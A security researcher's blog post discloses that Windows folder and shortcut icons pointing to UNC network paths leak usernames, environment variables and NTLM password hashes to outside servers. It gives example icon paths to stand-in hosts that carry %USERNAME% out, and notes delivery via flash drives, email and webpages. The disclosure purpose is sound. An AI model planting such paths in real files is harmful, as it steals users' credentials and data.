Your password hash has been leaking for 20 years

In March, I began experimenting with a technique used by Thinkst’s Canarytokens, which allowed them to ping a server when a folder was opened. Basically, they used a desktop.ini file to set the folder icon to an external network share. For instance, they would set the icon of the folder to \\ourwebsite.com\Something\icon.ico, and respond when that URL was pinged.

Discovery #1

After toying with this for a while, I noticed that environment variables could be used within these URLS, thus allowing for an information leak. When setting the URL to \\mysite.com\%USERNAME%, I was able to extract the current username from the system. Additionally, I was able to extract any variable, such as %PATH% or %JAVA_HOME%.

Discovery #2

Unfortunately, this still required the user to open a folder to leak information. It wasn’t enough in my mind to be dangerous. So, after a lot of experimentation, I was also able to get this exploit to work via the icons of .lnk files, allowing it to be exploited via flash drives. At this point, I felt it was worthwhile to report this to Microsoft. While unfortunate, Microsoft did not feel this leaked enough information to be relevant. It wasn’t until several weeks later that I reopened the conversation.

Discovery #3

While browsing Reddit, as I so often do, I stumbled upon an interesting post with a familiar theme. This post by Bosko Stankovic, introduced me to the wonders of NTLM hashes. Not only does the rendering of a filesystem icon cause a hashed version of the user’s password to be sent over the network, but the rendering of ANY image using the\\ UNC prefix will do this. This brings us to the meat of the problem. After researching this further, I realized that this bug was first reported to Microsoft in 1997, making it older than I am. Microsoft has intentionally left this unfixed due to the structural changes it would require. Keep in mind this bug was originally introduced for WinNT/Win95. I can’t see how this wasn’t included during the massive restructuring that seems to occur during the countless major version updates since then.

Microsoft’s Stance/Recommendations

It took Microsoft a long time to respond to this issue. It wasn’t until 2009, roughly 12 years after this exploit was initially reported, that they decided to implement a workaround. Enter NTLM Blocking. Microsoft made it very clear that they strongly recommended against disabling NTLM due to incompatibility issues. Instead, they created a system called NTLM Blocking, which requires users to edit their Windows security policies, track event logs, and whitelist applications that need access. This system, while effective if used correctly, is very complicated for normal users to configure and difficult to understand.

It’s not all terrible

Thankfully for Windows users, ISPs are defending them where their OS has failed to with a rather nuclear option. Microsoft maintains a list of ISPs that block port 445. This, combined with the fact that some modems will block outbound traffic on port 445, has prevented this issue from being as widely exploitable over the internet. However, even when this attack is blocked over the internet, it is very rarely blocked over LAN, meaning it could be used as a method of pivoting within networks. This issue highlights a serious problem with Microsoft’s inability to restructure core systems within Windows.

The fact that simply opening an email or a webpage can cause you or your organization to be compromised, even on a fully patched system, should be the a priority fix for Microsoft, but sadly it seems they are too big to move efficiently on this front. I was told that a refactor of NTLM handling had been ongoing internally for some time by the case manager, however I’ve seen nothing to verify this is true.

Thanks

I’d like to extend my thanks to the authors of the articles linked in this post, especially Aaron Spangler, who originally reported this bug. Additionally, to my friends at the GDI Foundation for their continued guidance in responding to this issue.